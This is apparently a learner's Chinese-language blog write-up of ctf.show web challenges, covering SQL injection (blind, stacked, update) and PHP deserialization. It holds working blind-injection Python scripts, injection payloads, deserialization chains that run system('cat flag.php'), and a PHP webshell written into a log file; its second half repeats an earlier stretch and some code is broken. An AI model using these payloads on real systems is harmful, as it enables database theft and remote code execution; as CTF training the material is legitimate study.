然后是下图这个操作,这里涉及到mysql执行顺序的问题,mysql查询语句执行顺序 - 知乎 (zhihu.com)

每个语句在执行时都会产生虚表,这里可以注意一下


原理大概懂了,但是还是不会构造语句,这里先用师傅的脚本
师傅的脚本:
#-- coding: utf-8 --
#@Time : 2021/11/16 17:59
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql group by注入(测试用).py
#@Software: PyCharm import requests import time
url = "http://9a446c1a-4acd-4873-a290-53b36046a7b9.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
#查表
# sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段
# sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#查flag sql= "select flagaabc from ctfshow_flaga"
#------------------------------------------------------------------------------------------------------------------------------------------------------------- payload = "concat(if(substr(({}),{},1)='{}',sleep(0.10),0),1)"
#concat(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(0.10),0),1)
n = 0
for i in range(0, 666):
for j in str:
params = {
'u' : payload.format(sql,i,j)
}
start = time.time()
res = requests.get(url = url, params = params)
end = time.time()
if end - start > 2 and end - start < 3:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break ```
## Web223(group注入)

这次才是真正的group by注入
过滤了数字,用户名不能是数字,没事了,被骗了,根本用不到group by注入,就是布尔盲注..
**师傅们的脚本:**
```python
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io import requests
#import time
def generateNum(num):
res = 'true'
if num == 1:
return res
else:
for i in range(num-1):
res += "+true"
return res
url = "http://ce009cf2-8652-4737-ba07-b3bfc3bc3a4a.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""
#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#--------查flag sql= "select flagasabc from ctfshow_flagas"
#************************************************************************************************************************************************************* payload = "if(ascii(substr(({}),{},true))=({}),username,false)"
#计数 n = 0
for i in range(1, 666):
for j in range(32,126):
result_num=generateNum(i)
result=generateNum(j)
params = {
'u' : payload.format(sql,result_num,result)
}
res = requests.get(url = url, params = params)
if "userAUTO" in res.text:
flag += chr(j)
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break ```
只能写基本的脚本,太难的还是不行啊...这里用true代替了1,也算是一种新的代替方式?
## Web224

一个登陆框,完了,这种试的是真没有思路..

350是可用的,361是被过滤了的,这几个啥也组合不了啊
**师傅们的wp:**
超,我是憨憨,这里应该先扫一下试试的
扫描发现robots.txt
有一个重置密码的页面
重置密码后登陆,发现是一个文件上传,但是好像有很多限制,对文件大小有限制,对文件的类型也有限制

啊这,这里用到群里的一个文件payload.bin,上传之后将1.php上传给,里面包含着16进制的

之后

获得flag,所以这和sql注入有什么关系=-=
## Web225(堆叠注入提升)

过滤了几乎全部的语句,麻了,换一个类型就不会了,这tm学了个勾八

找到真实的传参地址`/api`,并且找到真实的参数,`username`,`page`,`limit`
**师傅们的wp:**
怕自己又忘,这里提一嘴,`'{$username}'`这里只要闭合单引号就行
`payload1:ctfshow';show tables-- qwe`

`payload2:username=ctfshow';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;`

这里师傅是用了handler方法(这又是啥啊。。。)
## Web226

这里过滤的有丶多,基本堆叠注入能用的和我知道的都给我禁了,~~开始摆烂~~
没思路了,能查到的方法都不能用。。。
**师傅们的wp:**
新知识,预处理定义语句,然后执行,并且预处理会对16进制进行转换,所以这里直接将`select * from ctfsh_ow_flagas`换为16进制`0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173`
构造**payload:**
`?username=userAUTO';prepare baiwu from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;execute baiwu--+ `这里的`prepare baiwu from`是mysql预处理的语句,将from后的内容预处理并存放在baiwu中,之后调用execute就可以运行
## Web227

看着和上一题没区别,实际上这里是考察了
[(18条消息) MySQL——查看存储过程和函数_时光·漫步的博客-CSDN博客_mysql查看函数命令](https://blog.csdn.net/qq_41573234/article/details/80411079)
**构造payload:**
`?username=userAUTO';prepare baiwu from 0x2053454c4543542020202a20202046524f4d202020696e666f726d6174696f6e5f736368656d612e526f7574696e6573;execute baiwu--+`
16进制的内容是` SELECT * FROM information_schema.Routines`
## Web228

因为不知道`banlist`里有什么,尝试了一下prepare,结果是可以使用,直接用
**构造payload:**
`?username=userAUTO';prepare baiwu from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;execute baiwu--+`
## Web229

prepare继续
`?username=userAUTO';prepare baiwu from 0x73656c656374202a2066726f6d20666c6167;execute baiwu--+`
## Web230(堆叠注入结束)
`?username=userAUTO';prepare baiwu from 0x73656c656374202a2066726f6d20666c61676161626278;execute baiwu--+`
`prepare`过
## Web231(update注入开始)

update的用法是基本了解了,但是一些奇怪的用法还是不清楚的,这里就当做一次学习吧..
**师傅们的wp:**
我超,我是眼睛不好使了,这里本来就是update语句啊,我在试什么..
这里很明显的有一个任意语句执行
**构造payload:**
`username=132&password='1',username=database()-- qwe`
**可以执行后最终构造:**
`username=132&password=1',username=(select group_concat(flagas) from flaga)-- qwe`

## Web232

和231一样,就是多了一层`md5()`,加一个`)`给他闭合就好了
基本步骤和上一题一样
**最终构造payload:**
`username=132&password=1'),username=(select flagass from flagaa)-- qwe`
## Web233

这次和上两题不一样,`username=132&password=1',username=database()-- qwe`语句不管用了,好像有什么东西被过滤了?
**师傅们的wp:**
手跑失败,目前已知的
可以正常更新,password注入会报错
username存在注入
**师傅们的脚本:**
```python
#-- coding: utf-8 --
#@Time : 2021/11/18 16:58
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql update注入(测试用).py
#@Software: PyCharm import requests
url = "http://5cb5a862-147c-43ad-97f1-c906ca142728.challenge.ctf.show/api/"
result = "" i = 0
while 1:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查表名
# payload = "select column_name from information_schema.columns where table_name='flag233333' limit 1,1"
# 查数据
payload = "select flagass233 from flag233333"
data = {
'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#",
'password': '4'
}
try:
r = requests.post(url, data=data, timeout=0.9)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
通过这次涨了一个经验,不要在某一个参数上硬试,在某一个参数不成功的时候不妨试下其他参数.
Web234

麻了,这次过滤了什么…
师傅们的wp:
考的是\逃逸单引号
构造payload:
username=,username=(select flagass23s3 from flag23a)-- - &password=\
Web235
暂时放放
反序列化
Web256
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
} }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
} }
一个比较简单的反序列化,传入username和password后如果不为空则对cookie中user键的值进行反序列化,然后进行user->login,赋值username,password,然后就是判断和执行
构造payload:
public $username='a';
public $password='b';
public $isVip=true; } $a=new ctfShowUser(); echo urlencode(serialize($a)); ?> ```
url编码后的反序列化为:`O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D`
**这里要注意,因为是要在cookie中传值,所以值要先url编码一次...因为忘记编码怎么传都不成功**
## Web257
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
} }
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
} }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password); } ```
经典魔术方法,开始看到`ctfShowUser`类里有两个魔术方法`__construct()`和`__destruct()`
**这里把常用魔术方法列出来:**
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发 ```
师傅们的wp:
emm反序列化的结果可以是一个完整类,其中的构造和析构方法都可以执行,这里是第一次知道,要记住
构造payload:
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
} public function __destruct(){
$this->class->getInfo();
} }
class backDoor{
private $code="system(cat flag.php');";
public function getInfo(){
eval($code);
} } $a=new ctfShowUser(); echo urlencode(serialize($a)); ```
**url编码后:** `user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A22%3A%22system%28cat+flag.php%27%29%3B%22%3B%7D%7D`
## Web258
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
} }
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
} }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password); } ```
多了一个正则匹配,尝试绕过
## 构造payload:
```php <?php class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
} } $a = new ctfShowUser(); $a = serialize($a); $a= str_replace('O:', 'O:+',$a);//绕过preg_match echo urlencode($a);
Web259(SoapClient与CRLF组合拳)

题目有一个提示,很明显,要我们x-forwarded-for的值是127.0.0.1,并且post传参token 的值是ctfshow
CRLF注入攻击 CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
Web260
error_reporting(0); highlight_file(__FILE__); include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag; } ```
这次和前几个不一样,这次是序列化,并且不知道类的详细定义
~~尝试用原生类序列化~~
题目有问题,应该是非预期,`只要传参含ctfshow_i_love_36D`就会有flag
## Web261
```php <?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
} }
unserialize($_GET['vip']);
题目写的是打redis。。没听过,现学
寄,不太会,先放一下
Web262
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0); class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
} }
$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent'; }
highlight_file(__FILE__); ```
~~有点怪,这个题没太看懂什么意思~~
应该是考的字符串逃逸,这里用`loveu`代替`fuck`是字符串增多逃逸,
~~但是不知道有什么用啊=-=~~
题目注释中有提示message.php,访问后得知要使cookie中`token`的值为admin,这里有提示`fuck`被替换为`loveu`是字符串变多,这里使用字符串逃逸
**构造payload:**
`fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:4:"admin";}`
## Web263

这是真的麻了..没有思路
**师傅们的wp:**
访问www.zip得到源码
审计inc.php,check.php

这里设置了`cookie`的`limit`参数,这里是`session`包含的利用点,并且会base64解码一次

`check.php`中包含了`inc.php`

`inc.php`这里有两个函数会调用`session文件`

这里`__destruct`方法会写入文件,可以尝试反序列化注入
```php <?php class User{
public $username = 'test.php';
public $password = '<?php system("cat flag.php") ?>'; } $user = new User(); echo(base64_encode('|'.serialize($user))); ?>
会将password的内容写入log-test.php中

抓主页的包,修改limit参数,发包
访问check.php,包含session文件
访问log-test.php获得flag

Web264
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0); session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
} }
$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent'; }
highlight_file(__FILE__);
Web265
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
} }
$ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag; }
解题思路:
这里要满足$ctfshow->login()中$this->token===$this->password并且ctfshow会接受反序列化的结果,对于ctfshow-password来说较容易满足,但是下面有一个$ctfshow->token=md5(mt_rand())要想办法解决
师傅的解题方法:
这里用到了引用,&可以让一个变量的值随着另一个变量改变而改变
payload:
public $token;
public $password;
public function __construct(){
$this->password=&$this->token;
} } echo serialize(new ctfshowAdmin()); ```
## Web266
```php include('flag.php'); $cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
} } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1); } ```
**解题思路:**
没思路=-=,这是真没见过这种题,麻了
**师傅们的方法:**
这里用到的是将输入流的数据作为反序列化的内容,所以抓包后提交填充内容即可
这里正则匹配的是`ctfshow`但是没有匹配大小写,另外,类的识别上是没有大小写的,所以我们只要用`Ctfshow`就可以了
payload(这里用的是只序列化了类,里面没放东西,放上东西也是一样的):
```O:7:"Ctfshow":0:{} ```
## Web267(yii链相关,需要回来复习)

打开后是ctfshow的导航页面,访问`www.zip`也没有附件,并且不存在后台
没见过=-=
解题思路: 目前已知和yii有关,不确定是否要用yii链
师傅们的解题思路: 首先是弱密码`admin/admin`登陆,在about页面源码发现提示
加上后得到

用网上的poc就能过
## Web268

在poc之前的步骤都和上一题一样,但是传参后提示服务器错误,是做了防护,要用其他方法
真不懂yii链啊=-=
## Web269(CVE-2020-15148)
## Web270(CVE-2020-15148)
# JAVA
# 代码审计
## Web301

源码中得知在满足条件的情况下会跳转至index.php,尝试直接访问,但是会被跳转到登录页面,我们尝试使用bp抓包访问页面,发现302在跳转时会先访问一遍,在源码中获得flag
## web302
继续抓包伪跳转
## Web303(纪念第一个完全由自己做出来的题目)
这次抓包页面没有提示了,尝试看看源码

基本逻辑没变,但是多了一个`fun.php`

对应的是一个加密函数

突然发现题目附件里给了一个sql文件

里面显示插入的`sds_user`表里的三个值分别是`'1','admin','27151b7b1ad51a38ea66b1529cde5ee4'`,分别对应的应该是`id,username,password`,由源码得知`'27151b7b1ad51a38ea66b1529cde5ee4'`是传入admin后的加密结果
**构造payload:**
`userid=admin&userpwd=admin`
进入后应该是开始注入=-=
找到注入点
`dptadd.php`

简单的`'`闭合,插入我们想要的值就行,字段个数和名也都告诉我们了(这里注意,post传参别把后面的字段名改了,改名的只有name)
**构造payload:**
`dpt_name=45',sds_address=database(),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

插入成功
继续查
`dpt_name=45',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database()),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

查询`sds_fl9g`表里的字段(**别用学校服务器的网做题。。又给拦了**)
`dpt_name=55',sds_address=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sds_fl9g'),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

获得flag
`dpt_name=566',sds_address=(select flag from sds_fl9g),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

!!!!!!!!!!!!!!我超,这是第一个完全自己做出来的题我超!!!!!!!!!!!!!!
## Web304
题目说增加了全局waf,不过好像没用到啊..
## Web305

用户名和密码这里还是没有变
`username=admin&password=admin`登陆
没用啊,所有方法都试了,暂时先放一下,明天再想想看-----------2021/11/20
# 终极考核
## Web640
题目页面就是flag
## Web641
抓包获取flag
= new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent'; }
highlight_file(__FILE__); ```
~~有点怪,这个题没太看懂什么意思~~
应该是考的字符串逃逸,这里用`loveu`代替`fuck`是字符串增多逃逸,
~~但是不知道有什么用啊=-=~~
题目注释中有提示message.php,访问后得知要使cookie中`token`的值为admin,这里有提示`fuck`被替换为`loveu`是字符串变多,这里使用字符串逃逸
**构造payload:**
`fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:4:"admin";}`
## Web263
[外链图片转存中...(img-sCqtBpzJ-1664627924632)]
这是真的麻了..没有思路
**师傅们的wp:**
访问www.zip得到源码
审计inc.php,check.php
[外链图片转存中...(img-LjQFWrIa-1664627924633)]
这里设置了`cookie`的`limit`参数,这里是`session`包含的利用点,并且会base64解码一次
[外链图片转存中...(img-gn4dKNoc-1664627924633)]
`check.php`中包含了`inc.php`
[外链图片转存中...(img-z5hsrNDu-1664627924633)]
`inc.php`这里有两个函数会调用`session文件`
[外链图片转存中...(img-64ij7gLy-1664627924633)]
这里`__destruct`方法会写入文件,可以尝试反序列化注入
```php <?php class User{
public $username = 'test.php';
public $password = '<?php system("cat flag.php") ?>'; } $user = new User(); echo(base64_encode('|'.serialize($user))); ?>
会将password的内容写入log-test.php中
[外链图片转存中…(img-Kz2RBCDk-1664627924634)]
抓主页的包,修改limit参数,发包
访问check.php,包含session文件
访问log-test.php获得flag
[外链图片转存中…(img-NKCHcgFQ-1664627924634)]
Web264
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0); session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
} }
$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent'; }
highlight_file(__FILE__);
Web265
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
} }
$ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag; }
解题思路:
这里要满足$ctfshow->login()中$this->token===$this->password并且ctfshow会接受反序列化的结果,对于ctfshow-password来说较容易满足,但是下面有一个$ctfshow->token=md5(mt_rand())要想办法解决
师傅的解题方法:
这里用到了引用,&可以让一个变量的值随着另一个变量改变而改变
payload:
public $token;
public $password;
public function __construct(){
$this->password=&$this->token;
} } echo serialize(new ctfshowAdmin()); ```
## Web266
```php include('flag.php'); $cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
} } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1); } ```
**解题思路:**
没思路=-=,这是真没见过这种题,麻了
**师傅们的方法:**
这里用到的是将输入流的数据作为反序列化的内容,所以抓包后提交填充内容即可
这里正则匹配的是`ctfshow`但是没有匹配大小写,另外,类的识别上是没有大小写的,所以我们只要用`Ctfshow`就可以了
payload(这里用的是只序列化了类,里面没放东西,放上东西也是一样的):
```O:7:"Ctfshow":0:{} ```
## Web267(yii链相关,需要回来复习)
[外链图片转存中...(img-T4uqVL90-1664627924634)]
打开后是ctfshow的导航页面,访问`www.zip`也没有附件,并且不存在后台
没见过=-=
解题思路: 目前已知和yii有关,不确定是否要用yii链
师傅们的解题思路: 首先是弱密码`admin/admin`登陆,在about页面源码发现提示[外链图片转存中...(img-Had8Zggh-1664627924634)]
加上后得到
[外链图片转存中...(img-4PcAujbH-1664627924635)]
用网上的poc就能过
## Web268
[外链图片转存中...(img-yBCeB7sh-1664627924635)]
在poc之前的步骤都和上一题一样,但是传参后提示服务器错误,是做了防护,要用其他方法
真不懂yii链啊=-=
## Web269(CVE-2020-15148)
## Web270(CVE-2020-15148)
# JAVA
# 代码审计
## Web301
[外链图片转存中...(img-7TD45pdP-1664627924635)]
源码中得知在满足条件的情况下会跳转至index.php,尝试直接访问,但是会被跳转到登录页面,我们尝试使用bp抓包访问页面,发现302在跳转时会先访问一遍,在源码中获得flag
## web302
继续抓包伪跳转
## Web303(纪念第一个完全由自己做出来的题目)
这次抓包页面没有提示了,尝试看看源码
[外链图片转存中...(img-5BauA9ff-1664627924635)]
基本逻辑没变,但是多了一个`fun.php`
[外链图片转存中...(img-CKGDDdMc-1664627924635)]
对应的是一个加密函数
[外链图片转存中...(img-9XaCo7ax-1664627924636)]
突然发现题目附件里给了一个sql文件
[外链图片转存中...(img-D3fRrNZK-1664627924636)]
里面显示插入的`sds_user`表里的三个值分别是`'1','admin','27151b7b1ad51a38ea66b1529cde5ee4'`,分别对应的应该是`id,username,password`,由源码得知`'27151b7b1ad51a38ea66b1529cde5ee4'`是传入admin后的加密结果
**构造payload:**
`userid=admin&userpwd=admin`
进入后应该是开始注入=-=
找到注入点
`dptadd.php`
[外链图片转存中...(img-vCAXRyae-1664627924636)]
简单的`'`闭合,插入我们想要的值就行,字段个数和名也都告诉我们了(这里注意,post传参别把后面的字段名改了,改名的只有name)
**构造payload:**
`dpt_name=45',sds_address=database(),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`
[外链图片转存中...(img-8nDlHrgT-1664627924636)]
插入成功
继续查
`dpt_name=45',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database()),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`
[外链图片转存中...(img-rnpbwe6M-1664627924637)]
查询`sds_fl9g`表里的字段(**别用学校服务器的网做题。。又给拦了**)
`dpt_name=55',sds_address=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sds_fl9g'),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`
[外链图片转存中...(img-rvhCWZLS-1664627924637)]
获得flag
`dpt_name=566',sds_address=(select flag from sds_fl9g),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`
[外链图片转存中...(img-bMzpY00X-1664627924637)]
!!!!!!!!!!!!!!我超,这是第一个完全自己做出来的题我超!!!!!!!!!!!!!!
## Web304
题目说增加了全局waf,不过好像没用到啊..
## Web305
[外链图片转存中...(img-jvBF47Gt-1664627924637)]
用户名和密码这里还是没有变
`username=admin&password=admin`登陆
没用啊,所有方法都试了,暂时先放一下,明天再想想看-----------2021/11/20
# 终极考核
## Web640
题目页面就是flag
## Web641
抓包获取flag
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐


所有评论(0)